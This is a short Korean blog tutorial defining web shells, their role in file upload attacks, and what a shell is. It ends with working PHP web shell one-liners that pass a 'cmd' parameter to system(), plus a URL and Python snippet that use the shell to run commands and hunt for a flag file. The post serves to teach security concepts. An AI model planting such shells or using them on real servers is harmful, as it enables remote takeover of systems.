본문 바로가기

old/Cyber Security

사이버 보안: 웹셀(Web Shell) 이란

반응형

정의

웹쉘(Web Shell)은 웹 기반 인터페이스를 통해 원격으로 웹 서버를 제어하기 위해 사용되는 애플리케이션 또는 스크립트입니다.

웹쉘은 다양한 형태와 기능을 갖춘 다양한 버전이 존재하며, 일반적으로 PHP, ASP, JSP 등 다양한 웹 언어로 작성될 수 있습니다. 웹쉘을 이용하면 사용자는 웹 서버의 파일 시스템 탐색, 명령 실행, 데이터베이스 액세스 등 다양한 시스템 작업을 수행할 수 있습니다.

해킹에서의 웹쉘

웹쉘은 공격자가 웹 서버에 액세스하기 위해 사용되는 도구로서 악의적인 목적으로 사용될 수 있습니다. 웹 서버에 악성 스크립트를 업로드하고 실행하여 공격자가 원격으로 시스템 명령을 실행하고 제어할 수 있게 합니다. 즉, 웹사이트를 통해 쉘(shell)을 열게하여, 웹에서 받은 요청을 운영체제에 요청할수 있게 만드는 것입니다.

정상적인 용도로 사용되는 웹쉘도 존재하지만, 웹쉘은 대부분 악용될 가능성이 크기 때문에, 웹 애플리케이션 개발자와 관리자는 웹쉘의 악용을 방지하기 위해 보안 조치와 취약점 분석을 수행해야 합니다.

보통 파일 업로드 공격을 웹쉘공격이라고 부릅니다.

사이버 보안: File Upload 파일 업로드란

쉘이란

컴퓨터 사용자와 운영 체제(OS) 사이에서 상호작용하기 위한 인터페이스입니다.

쉘은 텍스트 기반으로 명령어를 입력하고 실행할 수 있는 환경을 제공합니다.

일반적으로 Unix 및 Linux 시스템에서는 Bash(Bourne Again SHell)가 널리 사용되고, Windows 시스템에서는 Command Prompt나 PowerShell이 사용됩니다.

예제

php web shell code

아래 코드가 담긴 php파일을 업로드 한후, 파일이 업로드된 경로를 찾아내어, 피라미터cmd를 삽입

<?php echo system($_GET['cmd']);?>

 

<?php
  if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
  }
?>

 

example.com/files/webshell.php?cmd=find+../../../../+-name+"flag.txt"

 

import requests
payload = {
    'cmd': 'whoami'
}
response = requests.get('<example.com/files/webshell.php?cmd=find+../../../../+-name+"flag.txt">', params=payload)

print(response.text)
반응형